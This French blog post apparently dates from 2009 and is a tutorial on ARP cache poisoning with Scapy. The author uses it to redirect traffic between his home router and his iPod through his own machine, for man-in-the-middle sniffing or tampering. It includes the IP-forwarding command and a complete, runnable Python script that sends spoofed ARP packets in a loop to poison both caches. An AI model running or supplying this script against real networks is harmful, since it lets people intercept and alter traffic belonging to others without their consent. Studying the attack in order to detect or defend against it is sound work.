Redirection d'un flux de donnée par ARP Spoofing

Publié le par Satellite

ARP Cache Poisoning

Après le SYN Flood qui constituait une attaque à but dévastateur, l'ARP CP permet une attaque beaucoup plus viscieuse. Toujours avec Scapy, nous allons rediriger le flux entre un routeur (ici, ma livebox) et une des machines de notre LAN (ici mon ipod touch, connecté en WIFI) pour qu'il transite par notre machine. Ce qui ouvre de nombreuses possibilités : Attaque Man in The Middle (Sniff, Modification des données).

L'arp Cache Poisoning se déroule en deux étapes :

On va forger un paquet 'who-has'  en spoofant l'ip du routeur que nous enverront à la cible. La cible mettra a jour son cache ARP en faisant correspondre l'IP du routeur et l'adresse MAC de notre machine. Nous procederons de même pour corrompre le cache du routeur.

Il est necessaire d'activer le routage des paquets sur la machine attaquante. Sous ubuntu, une simple comande suffit à le faire (il faut être identifié root, a l'aide de la comande sudo bash)

echo 1 > /proc/sys/net/ipv4/ip_forward

 

Le code de l'ARP spoofing est simple en soi. De toute façon, avec scapy, le hacking est tellement simple !

 

On visualise bien le résultat sur Wireshark, mon IP etant 192.168.1.11, celle de mon ipod : 192.168.1.10 et celle de ma livebox 192.168.1.1 Il  y a des paquets qui transitent par mon ordinateur alors que mon adresse IP n'est ni l'adresse source, ni l'adresse destinatrice.




#-*-coding:Utf-8-*-
from scapy.all import *
import sys,time


#------------------------------------
#     ARP Cache Attack
# By iZy_TeH_PariaH
# Version : python 2.6
# 21 aout 2009
#------------------------------------

if __name__ == '__main__':
    if len(sys.argv) < 3:
        print 'Syntaxe : !/arpPoisoner.py <ip_cible> <ip_routeur>'
        exit(0)

i = 0

while 1:
        try: #On essaie de forger les deux paquets ARP
            sendp(Ether(dst = getmacbyip(sys.argv[1]))/ARP(op = 'who-has',psrc = sys.argv[2] , pdst = sys.argv[1] )) #Spoofing de l'adresse mac routeur
            i = i + 1
            sendp(Ether(dst = getmacbyip(sys.argv[2]))/ARP(op = 'who-has',psrc = sys.argv[1], pdst = sys.argv[2])) #Spoofing de l'adresse mac de la cible
            i = i + 1
            time.sleep(5) # On effectue une pause de 5 secondes entre deux phases de corruption
        except:
            print 'Erreur lors du lancement des paquets'
            print 'Paquets envoyés : ' + str(i)
            break

  

Publié dans Python

Pour être informé des derniers articles, inscrivez vous :
Commenter cet article